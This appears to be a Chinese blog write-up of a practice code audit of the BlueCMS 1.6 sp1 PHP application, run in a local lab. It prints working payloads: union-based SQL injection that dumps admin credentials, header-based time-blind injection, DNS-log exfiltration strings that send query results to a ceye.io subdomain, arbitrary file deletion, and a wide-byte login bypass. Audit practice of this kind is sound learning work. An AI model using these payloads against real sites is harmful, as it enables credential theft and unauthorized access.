【PHP代码审计】记录对bluecms1.6sp1进行代码审计

前言

在看代码审计企业级Web代码安全架构这本书的电子版,找了个案例来进行审计,大佬们推荐bluecms v1.6 sp1这套源码来审计,在本地搭建环境,用这篇文章做记录。

如何入手?

在本地搭建好环境后,用phpstorm打开这套网站的文件夹,看到一堆php文件和文件夹,一下子不知如何下手?

image-20211115190034330

书上提供了四种代码审计的思路

  • 根据敏感关键字回溯参数传递过程
  • 查找可控变量,正向追踪变量传递过程
  • 寻找敏感功能点,通读功能点代码
  • 直接通读全文代码

作为一个新手,当然是选择一个比较容易地方式入手啦,直接打开Seay源代码审计系统自动审计一遍。

扫出255个可疑漏洞
image-20211115190826340

看到这么多可疑点,确实是又让人有些头秃,先不管这么多,先从第一个开始审计。

SQL注入-联合注入

路径

/uploads/ad_js.php

image-20211115191224438

在19行出发现一条sql语句,其ad_id的值直接进行了拼接,接下来看看$ad_id的值是如何来的。

image-20211115191543689

在12行处发现$ad_id变量的值通过$_GET[‘ad_id’]拿到,并且也没有经过过滤,那么这里肯定存在sql注入漏洞,接下来进行测试。

1
2
3
4
ad_js.php?ad_id= 1 order by 8 //报错
ad_js.php?ad_id= 1 order by 7 // 正常
ad_js.php?ad_id=%201%20union%20select%201,2,3,4,5,6,7
// 回显了7
image-20211115192334574
1
ad_js.php?ad_id=%201%20union%20select%201,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()
image-20211115192921027
1
ad_js.php?ad_id=%201%20union%20select%201,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_name='blue_admin'
image-20211115193212472

这里报错,我传入的单引号被转义成\'了。为什么会被转义呢?我确实没有看明白,待会在分析,这里很容易绕过,直接使用表名的十六进制0x626c75655f61646d696e

image-20211115193455363

成功绕过

1
ad_js.php?ad_id=%201%20union%20select%201,2,3,4,5,6,group_concat(admin_name,pwd) from blue_admin
image-20211115193558763

成功拿到管理员的用户名密码。

第一个漏洞审计起来并没有那么复杂,稍微有些基础都能够利用。刚刚有一个问题并没有解决,就是在GET参数获取的时候并没有过滤和加addslashes()函数,为什么给我传入的单引号进行了转义了呢?

经过分析

在10行引入了一个文件

image-20211115194025315

进入/include/common.inc.php

发现

image-20211115194158769

对所有的GET、POST、COOKIES、REQUEST都执行了deep_addslashes函数。

而这个deep_addslashes函数的功能则是对上面这几个变量传入的值进行特殊字符转义

image-20211115194326552

到这就明白了刚刚为什么会被转义,审计出来的第一个联合注入漏洞。

接下来继续

/upload/ann.php

image-20211115194908969

在33行发现$cid变量进行了拼接,来到$cid拿到值的地方。

image-20211115195026999

可以得知,这里用了intval对拿到的值进行了整数转换,也就意味着我们无法传入sql语句,导致不可利用。

下一个

时间盲注&dnslog的利用

/uploads/comment.php

在这个文件中找到如下几处执行sql语句的代码

image-20211115195804589

从代码中可以看到,都是直接拼接了变量,所有的sql语句都拼接了$id这个变量,接下来回溯到$id拿到值的地方。

image-20211115195950811

也将拿到的值进行了整数转换。也就是后面的两条sql都无法利用,不过,我在第三天插入语句里看到了一个函数getip(),接下来跳过去看看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function getip()
{
if (getenv('HTTP_CLIENT_IP'))
{
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR'))
{ //获取客户端用代理服务器访问时的真实ip 地址
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED'))
{
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR'))
{
$ip = getenv('HTTP_FORWARDED_FOR');
}
elseif (getenv('HTTP_FORWARDED'))
{
$ip = getenv('HTTP_FORWARDED');
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}

可以看到,插入语句里的ip字段的值是以上述方式获取,而通过上文审计可以得知,$_SERVER这个变量并没有被转义,也就是我们可以通过伪造X-Forwarded-For这个header 头来控制 ip字段的值,从而进行insert注入。

这是代码中执行的sql语句

1
2
INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')

如果我们控制了ip字段的值,并且让字段值为'or sleep(3) or'

1
2
INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '"'or sleep(3) or'"', '$is_check')

测试

image-20211115201305776

好像并没有反应,纳闷至极,回头看看代码。

需要三个个条件才能执行到这条sql

image-20211115201837939

$act == 'send'empty($id),这两个变量的值可以通过$_REQUEST变量传递,empty($content)POST获得。

image-20211115202552891

可以明显感觉到延迟了一会,所以这里经过测试,可以检测出存在sql时间盲注。时间盲注可谓是sql注入最麻烦的注入了,肯定是需要写脚本来利用,但是其实还有另一种方式,通过dnslog,但是仅限于服务器在windows下。

1
'or load_file(concat('\\\\',(select database()),'.uutiyi.ceye.io\\abc')) or'

通过平台 http://ceye.io/records/dns

image-20211115204526651

数据库名直接拼接在了域名上,可谓是方便至极。

1
'or load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.uutiyi.ceye.io\\abc')) or'

这里查询表名的时候需要用limit 0,1一个一个查,但也比脚本跑要好得多了。接下来都是重复的步骤,节约时间,直接跳到最后一步。

1
'or load_file(concat('\\\\',(select group_concat(admin_name,pwd) from blue_admin limit 0,1),'.uutiyi.ceye.io\\abc')) or'
image-20211115205732808

成功拿到管理员的用户名密码。

前面已经审计出两个sql注入漏洞,并且在这套代码里,sql注入漏洞太多,审计过程中就忽略了类型重复的漏洞。

继续审计。

/uploads/guest_book.php

在79行中的sql语句中,可以看到插入的值中拼接了很多变量,经过分析,这里有两个变量可控,一个是$online_ip$content

跟踪$online_ip变量。

跳转到uploads/include/common.inc.php文件中

image-20211117202857495

获取了getip()函数的返回值,从上文分析中,可以知道,这里的getip获得的返回值可以通过伪造X-Forwarded-For这个header 头来控制 ip字段的值。

测试

image-20211117203735380

成功延迟了3秒,说明可以注入,这里就不在继续演示了,上面两次已经演示过了。

任意文件删除

在user.php 795行

image-20211119202334983

可以看到执行了一个unlink函数,参数直接拼接了$_POST['face_pic3'],可以直接进行任意文件删除,

先在网页根目录创建一个文件进行测试

image-20211119202834369

回溯看看,执行这到这需要什么条件。

image-20211119202541917

需要进行登录,点击用户管理->我的个人资料->确定修改,用bp抓取这个请求

image-20211119203010120

将face_pic3参数修改为./1.txt 提交后即可删除刚刚创建的文件。

后台登录宽字节注入绕过登录

uploads/admin/include/common.fun.php

在179行

1
2
3
4
5
6
7
8
9
10
11
12
13
function check_admin($name, $pwd)
{
global $db;
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
if($row['num'] > 0)
{
return true;
}
else
{
return false;
}
}

这个是验证后台登录的函数,这里的sql语句可以看到直接拼接了$name变量。看看哪里调用了这个函数。

回溯到 /uploads/admin/login.php

image-20211121204220393

32行调用了check_admin函数,传入了$admin_name$admin_pwd变量,这两个变量通过POST接收,也并没有经过处理。那么我们直接通过后台登录页面进行传参。

1
http://127.0.0.1:9916/uploads/admin/login.php

提交

1
admin_name=admin' or 1=1%23&admin_pwd=admin&submit=%B5%C7%C2%BC&act=do_login

单引号经过了转义

image-20211121205038692

这里可以用宽字节注入,输入' 被转义成\',用 ``%df绕过 ,%df%5c’,这里的%5c就是`,%df%5c会被解析成一个中文字符,从而照成'逃逸。

image-20211121210647654

成功登录

总结

这套代码其实远远不止上面列出的这几个漏洞,代码中的sql语句基本上都是直接进行拼接,大部分地方都可以被利用。由此可见当年的那些网站有多不安全。这也是我第一次对整站进行审计,说说自己的感受吧,这套网站中,sql注入很多,刚开始还很耐心,后边真的懒得去看了,这套代码中有一个文件包含的洞,但是在我的环境中就是利用不了,我还以为是win10特性变了,不能在末尾追加.来绕过后缀的拼接,就在win7上复现,结果还是不行,最终也没找到原因,真是头秃,很多时候都感觉无从下手,有很多的文件,就是不知道去看哪一个,上面就是我遇到的问题。不过也学到了不少,这次审计学到的就是dnslog的利用,之前是知道,但是没有实际去做,用dnslog确实让时间盲注省事不少,但只能仅限于windows下。